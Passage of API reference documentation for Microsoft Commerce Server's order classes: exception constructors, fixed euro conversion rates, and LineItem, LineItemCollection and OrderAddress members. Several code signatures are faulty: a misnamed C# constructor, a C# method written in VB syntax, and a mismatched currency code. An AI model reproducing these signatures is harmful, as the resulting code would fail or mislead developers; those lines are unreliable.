protected CommerceOrderSystemException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization information.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization information.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceOrderSystemException class with the specified message string.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceOrderSystemException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceOrderSystemException class with the specified message string and specified inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceOrderSystemSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The error message.
inner
The exception.
[C#]
message
The error message.
inner
The exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceOrderSystemException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceOrderSystemException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


EuroConversionTable Structure (BCL)

Specifies conversion rates from all 12 European currencies to euros.

Public Static (Shared) Fields

Field | Description
ATS | Austrian schilling to euro conversion rate.
BEF | Belgian franc to euro conversion rate.
DEM | Deutsche mark to euro conversion rate.
ESP | Spanish peseta to euro conversion rate.
FIM | Finnish markka to euro conversion rate.
FRF | French franc to euro conversion rate.
GRD | Greek drachma to euro conversion rate.
IEP | Irish pound to euro conversion rate.
ITL | Italian lira to euro conversion rate.
LUF | Luxembourg franc to euro conversion rate.
NGL | Dutch guilder to euro conversion rate.
PTE | Portuguese escudo to euro conversion rate.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.ATS Property (BCL)

The ATS property is a read only Decimal that converts the Austrian schilling to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property ATS As System.Decimal
[C#]
public static readonly System.Decimal ATS;

Remarks

The default conversion rate is 13.7603M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.BEF Property (BCL)

The BEF property is a read only Decimal that converts the Belgian franc to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property BEF As System.Decimal
[C#]
public static readonly System.Decimal BEF;

Remarks

The default conversion rate is 40.3399M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.DEM Property (BCL)

The DEM property is a read only Decimal that converts the Deutsche mark to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property DEM As System.Decimal
[C#]
public static readonly System.Decimal DEM;

Remarks

The default conversion rate is 1.95583M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.ESP Property (BCL)

The ESP property is a read only Decimal that converts the Spanish peseta to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property ESP As System.Decimal
[C#]
public static readonly System.Decimal ESP;

Remarks

The default conversion rate is 166.386M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.FIM Property (BCL)

The FIM property is a read only Decimal that converts the Finnish markka to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property FIM As System.Decimal
[C#]
public static readonly System.Decimal FIM;

Remarks

The default conversion rate is 5.94573M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.FRF Property (BCL)

The FRF property is a read only Decimal that converts the French franc to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property FRF As System.Decimal
[C#]
public static readonly System.Decimal FRF;

Remarks

The default conversion rate is 6.55957M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.GRD Property (BCL)

The GRD property is a read only Decimal that converts the Greek drachma to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property GRD As System.Decimal
[C#]
public static readonly System.Decimal GRD;

Remarks

The default conversion rate is 340.750M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.IEP Property (BCL)

The IEP property is a read only Decimal that converts the Irish pound to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property IEP As System.Decimal
[C#]
public static readonly System.Decimal IEP;

Remarks

The default conversion rate is 0.787564M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.ITL Property (BCL)

The ITL property is a read only Decimal that converts the Italian lira to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property ITL As System.Decimal
[C#]
public static readonly System.Decimal ITL;

Remarks

The default conversion rate is 1936.27M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.LUF Property (BCL)

The LUF property is a read only Decimal that converts the Luxembourg franc to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property LUF As System.Decimal
[C#]
public static readonly System.Decimal LUF;

Remarks

The default conversion rate is 40.3399M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.NLG Property (BCL)

The NLG property is a read only Decimal that converts the Dutch guilder to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property NLG As System.Decimal
[C#]
public static readonly System.Decimal NLG;

Remarks

The default conversion rate is 2.20371M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


EuroConversionTable.PTE Property (BCL)

The PTE property is a read only Decimal that converts the Portuguese escudo to the euro conversion rate.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property PTE As System.Decimal
[C#]
public static readonly System.Decimal PTE;

Remarks

The default conversion rate is 200.482M.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem Class (BCL)

Abstracts a line item on an order form. A valid line item must have valid values for the ProductCatalog, ProductID, and Quantity properties.

Public Instance Constructor

Constructor | Description
LineItem Constructor | Creates a new instance of the LineItem class.
LineItem Constructor(String, String, String, Int32) | Creates a new instance of the LineItem class with the specified parameters.

Public Instance Methods

Method | Description
Dispose | Release resources used by this object.
GetEnumerator | Retrieves an enumerator on this collection.
GetHashCode | Overrides the Object.GetHashCode implementation.

Public Instance Properties

Property | Description
Index | Retrieves the index of this item in the owning LineItemCollection collection.
Item(String) | Accesses the specified property on the line item.
ParentOrderForm | Retrieves the order form owning this line item.
ProductCatalog | Accesses the value of the product_catalog field on the line item.
ProductCategory | Accesses the value of the product_category field on the line item.
ProductID | Accesses the value of the product_id field on the line item.
ProductVariantID | Accesses the value of the product_variant_id field on the line item.
Quantity | Accesses the value of the quantity field on the line item.
ShippingAddress | Accesses the value of the shipping_address_id field on the line item.
ShippingMethodID | Accesses the value of the shipping_method_id field on the line item.
ShippingMethodName | Accesses the value of the shipping_method_name field on the line item.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem Constructor (BCL)

Public Instance Constructor

Constructor | Description
LineItem Constructor | Creates a new instance of the LineItem class.
LineItem Constructor(String, String, String, Int32) | Creates a new instance of the LineItem class with the specified parameters.


LineItem Constructor (BCL)

Use this method to create a new instance of the LineItem class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public LineItem(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem Constructor (String, String, String, Int32) (BCL)

Use this method to create a new instance of the LineItem class with the specified parameters.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal productCatalog As System.String, _
  ByVal productID As System.String, _
  ByVal productVariantID As System.String, _
  ByVal quantity As System.Int32 _
)
[C#]
public LineItem(
  System.String productCatalog,
  System.String productID,
  System.String productVariantID,
  System.Int32 quantity
);

Parameters

[Visual Basic .NET]
productCatalog
The product catalog to which this line item belongs.
productID
Product ID for the line item.
productVariantID
Product Variant ID for the line item.
quantity
The number of items being added to the basket.
[C#]
productCatalog
The product catalog to which this line item belongs.
productID
Product ID for the line item.
productVariantID
Product Variant ID for the line item.
quantity
The number of items being added to the basket.

Remarks

Throws ArgumentNullException if the productCatalog or productID parameters are null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Release resources used by this object.
GetEnumerator | Retrieves an enumerator on this collection.
GetHashCode | Overrides the Object.GetHashCode implementation.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


LineItem.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the LineItem.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and optionally to release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

Handle to a LineItemEnumerator instance.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.GetHashCode Method (BCL)

Use this method to override the Object.GetHashCode implementation.

Definition

[Visual Basic .NET]
Overridable Public Function GetHashCode( _
) As System.Int32
[C#]
public virtual System.Int32 GetHashCode(
);

Return Value

An Int32 hash code value.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem Properties (BCL)

Public Instance Properties

Property | Description
Index | Retrieves the index of this item in the owning LineItemCollection collection.
Item(String) | Accesses the specified property on the line item.
ParentOrderForm | Retrieves the order form owning this line item.
ProductCatalog | Accesses the value of the product_catalog field on the line item.
ProductCategory | Accesses the value of the product_category field on the line item.
ProductID | Accesses the value of the product_id field on the line item.
ProductVariantID | Accesses the value of the product_variant_id field on the line item.
Quantity | Accesses the value of the quantity field on the line item.
ShippingAddress | Accesses the value of the shipping_address_id field on the line item.
ShippingMethodID | Accesses the value of the shipping_method_id field on the line item.
ShippingMethodName | Accesses the value of the shipping_method_name field on the line item.


LineItem.Index Property (BCL)

The Index property retrieves the index of this item in the owning LineItemCollection collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property Index As System.Int32
[C#]
public System.Int32 Index {get;}

Property Value

The index of the item in the collection.

Remarks

For newly created line items, this returns -1.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.Item Property (BCL)

The Item property sets or retrieves the specified property on the line item.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal keyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String keyName
) {get; set;}

Parameters

[Visual Basic .NET]
keyName
The name of the property to set.
[C#]
keyName
The name of the property to set.

Property Value

The value of the specified property on the line item.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ParentOrderForm Property (BCL)

The ParentOrderForm property is a read-only property that retrieves the order form owning this line item.

Definition

[Visual Basic .NET]
Public Readonly Property ParentOrderForm As OrderForm
[C#]
public OrderForm ParentOrderForm {get;}

Property Value

The order form that owns the line item.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ProductCatalog Property (BCL)

The ProductCatalog property is a read/write String that accesses the value of the product_catalog field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ProductCatalog As System.String
[C#]
public System.String ProductCatalog {get; set;}

Property Value

The value of the product_catalog field on the underlying Dictionary COM Interop object.

Remarks

If no value has been set, then this method returns null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ProductCategory Property (BCL)

The ProductCategory property is a read/write String that accesses the value of the product_category field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ProductCategory As System.String
[C#]
public System.String ProductCategory {get; set;}

Property Value

The value of the product_category field on the underlying Dictionary COM Interop object.

Remarks

If no value has been set, then this method returns null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ProductID Property (BCL)

The ProductID property is a read/write String that accesses the value of the product_id field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ProductID As System.String
[C#]
public System.String ProductID {get; set;}

Property Value

The value of the product_id field on the underlying Dictionary COM Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ProductVariantID Property (BCL)

The ProductVariantID property is a read/write String that accesses the value of the product_variant_id field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ProductVariantID As System.String
[C#]
public System.String ProductVariantID {get; set;}

Property Value

The product_variant_id field on the underlying Dictionary COM Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.Quantity Property (BCL)

The Quantity property is a read/write Int32 that accesses the value of the quantity field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property Quantity As System.Int32
[C#]
public System.Int32 Quantity {get; set;}

Property Value

The value of the quantity field on the underlying Dictionary COM Interop object.

Remarks

If no quantity field value has been set, then this method returns 0.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ShippingAddress Property (BCL)

The ShippingAddress property is a read/write String that accesses the value of the shipping_address_id field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ShippingAddress As System.String
[C#]
public System.String ShippingAddress {get; set;}

Property Value

The value of the shipping_address_id field on the underlying Dictionary COM Interop object.

Remarks

If no value has been set, then this method returns null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ShippingMethodID Property (BCL)

The ShippingMethodID property is a read/write String that accesses the value of the shipping_method_id field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ShippingMethodID As System.String
[C#]
public System.String ShippingMethodID {get; set;}

Property Value

The value of the shipping_method_id field on the underlying Dictionary COM Interop object.

Remarks

If no value has been set, then this method returns null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ShippingMethodName Property (BCL)

The ShippingMethodName property is a read/write String that accesses the value of the shipping_method_name field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ShippingMethodName As System.String
[C#]
public System.String ShippingMethodName {get; set;}

Property Value

The value of the shipping_method_name field on the underlying Dictionary COM Interop object.

Remarks

If no value has been set, then this method returns null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection Class (BCL)

Encapsulates the collection of line items associated with the order form.

Public Instance Methods

Method | Description
Add(LineItem) | Adds the specified line item to the collection.
CopyTo(Array, Int32) | Copies the line items to an array, starting at a particular array index.
GetEnumerator | Retrieves an enumerator on this collection.
IndexOf(String, String, String) | Returns the index of the specified item in the line item collection.
Remove(Int32) | Removes the specified line item from the collection, based on index the line item.
Remove(LineItem) | Removes the specified line item from the collection.

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns False.
Item(Int32) | Retrieves a LineItemCollection instance by index.
ParentOrderForm | Retrieves the order form owning this line item.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the LineItemCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(LineItem) | Adds the specified line item to the collection.
CopyTo(Array, Int32) | Copies the line items to an array, starting at a particular array index.
GetEnumerator | Retrieves an enumerator on this collection.
IndexOf(String, String, String) | Returns the index of the specified item in the line item collection.
Remove(Int32) | Removes the specified line item from the collection, based on index the line item
Remove(LineItem) | Removes the specified line item from the collection.


LineItemCollection.Add (LineItem) Method (BCL)

Use this method to add the specified line item to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal lineItem As LineItem _
)
[C#]
public void Add(
  LineItem lineItem
);

Parameters

[Visual Basic .NET]
lineItem
Line item to be added to the collection.
[C#]
lineItem
Line item to be added to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.CopyTo (Array, Int32) Method (BCL)

Use this method copy the LineItems to an Array, starting at a particular Array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

Handle to a LineItemEnumerator instance.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.IndexOf (String, String, String) Method (BCL)

Use this method to retrieve the index of the specified line item in the line item collection.

Definition

[Visual Basic .NET]
Public Function IndexOf( _
  ByVal productCatalogName As System.String, _
  ByVal productId As System.String, _
  ByVal productVariantId As System.String _
) As System.Int32
[C#]
public System.Int32 IndexOf(
  System.String productCatalogName,
  System.String productId,
  System.String productVariantId
);

Parameters

[Visual Basic .NET]
productCatalogName
The name of the catalog.
productId
The ID of product.
productVariantId
The variant ID of the product.
[C#]
productCatalogName
The name of the catalog.
productId
The ID of product.
productVariantId
The variant ID of the product.

Return Value

If a line item with the specified match is found, then this method returns the 0-based index of this line item. Otherwise, it returns Int32.MinValue.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.Remove (LineItem) Method (BCL)

Use this method to remove the specified line item from the collection.

Definition

[Visual Basic .NET]
Public Sub Remove( _
  ByVal lineItem As LineItem _
)
[C#]
public void Remove(
  LineItem lineItem
);

Parameters

[Visual Basic .NET]
lineItem
The line item to be removed from the collection.
[C#]
lineItem
The line item to be removed from the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.Remove (Int32) Method (BCL)

Use this method to remove the specified line item from the collection, based on index the line item

Definition

[Visual Basic .NET]
Public Sub Remove( _
  ByVal itemIndex As System.Int32 _
)
[C#]
public void Remove(
  System.Int32 itemIndex
);

Parameters

[Visual Basic .NET]
itemIndex
The index of the line item to be removed from the collection.
[C#]
itemIndex
The index of the line item to be removed from the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns False.
Item(Int32) | Retrieves a LineItemCollection instance by index.
ParentOrderForm | Retrieves the order form owning this line item.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the LineItemCollection object.


LineItemCollection.Count Property (BCL)

The Count property is a read-only integer indicating the number of elements contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of elements contained in the collection.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized. This implementation always returns False.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized. This implementation always returns False.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.Item Property (BCL)

The Item property is a read-only indexer that allows for accessing a collection indexer by integer index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal itemIndex As System.Int32 _
) As LineItem
[C#]
public LineItem Item(
  System.Int32 itemIndex
) {get;}

Parameters

[Visual Basic .NET]
itemIndex
The index of the item.
[C#]
itemIndex
The index of the item.

Property Value

An indexer for the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.ParentOrderForm Property (BCL)

The ParentOrderForm property is a read-only OrderForm that retrieves the order form owning this line item.

Definition

[Visual Basic .NET]
Public ReadOnly Property ParentOrderForm As OrderForm
[C#]
public virtual OrderForm ParentOrderForm {get;}

Property Value

The order form that owns the line item.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used to synchronize access to the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used to synchronize access to the collection.

Implements

System.Collection.ICollection

Remarks

This implementation always returns the current instance of the LineItemCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress Class (BCL)

Abstracts an element of the order addresses collection.

Public Instance Constructor

Constructor | Description
OrderAddress Constructor(String, Profile) | Creates a new instance of the OrderAddress class with the specified address name and profile object instance containing address information.
OrderAddress Constructor(String, String) | Creates a new instance of the OrderAddress class with a specified address name and address ID.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.

Public Instance Properties

Property | Description
City | Accesses the value of the city field on the underlying Dictionary COM interop object.
Country | Accesses the value of the ship_to_country field on the underlying Dictionary COM interop object.
CountryName | Accesses the value of the country_code field on the underlying Dictionary COM interop object.
FirstName | Accesses the value of the first_name field on the underlying Dictionary COM interop object.
ID | Accesses the value of the address_id field on the underlying Dictionary COM interop object.
Item(String) | Accesses the value of the specified order address property on the underlying Dictionary COM interop object.
LastName | Accesses the value of the last_name field on the underlying Dictionary COM interop object.
Line1 | Accesses the value of the address_line_1 field on the underlying Dictionary COM interop object.
Line2 | Accesses the value of the address_line_2 field on the underlying Dictionary COM interop object.
Name | Accesses the value of the address_name field on the underlying Dictionary COM interop object.
PostalCode | Accesses the value of the postal_code field on the underlying Dictionary COM interop object.
RegionCode | Accesses the value of the region_code field on the underlying Dictionary COM interop object.
RegionName | Accesses the value of the region_name field on the underlying Dictionary COM interop object.
ShippingAddressID | Accesses the value of the shipping_address_id field on the underlying Dictionary COM interop object.
State | Accesses the value of the ship_to_state field on the underlying Dictionary COM interop object.
TelephoneNumber | Accesses the value of the telephone_number field on the underlying Dictionary COM interop object.

Protected Instance Methods

Method | Description
